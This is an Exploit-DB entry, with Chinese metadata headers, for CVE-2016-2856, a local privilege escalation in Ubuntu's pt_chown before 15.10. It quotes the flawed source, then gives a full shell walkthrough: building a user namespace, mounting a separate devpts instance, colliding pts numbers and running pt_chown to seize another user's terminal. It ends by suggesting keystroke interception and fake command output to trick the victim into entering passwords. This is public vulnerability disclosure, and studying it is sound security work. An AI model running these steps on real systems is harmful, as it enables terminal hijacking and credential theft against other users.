标题: Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation EDB-ID: 41760 CVE: 2016-2856 类型: LOCAL 平台: LINUX 发布日期: 2016-02-22 漏洞利用脚本: Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/

## Introduction

Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:

  pty = ptsname (PTY_FILENO);
  if (pty == NULL)
    ...
  /* Get the group ID of the special `tty' group.  */
  p = getgrnam (TTY_GROUP);
  gid = p ? p->gr_gid : getgid ();

  /* Set the owner to the real user ID, and the group to that special
     group ID.  */
  if (chown (pty, getuid (), gid) < 0)
    return FAIL_EACCES;

  /* Set the permission mode to readable and writable by the owner,
     and writable by the group.  */
  if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
      && chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
    return FAIL_EACCES;

  return 0;

The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then 

## Methods

Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:

test# who am I
test    pts/1        2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx

Use a second shell to continue:

test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root  root     0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root  root       0 Dec 27 12:48 .
drwxr-xr-x 7 test users   4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users   5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27  2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0

On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.
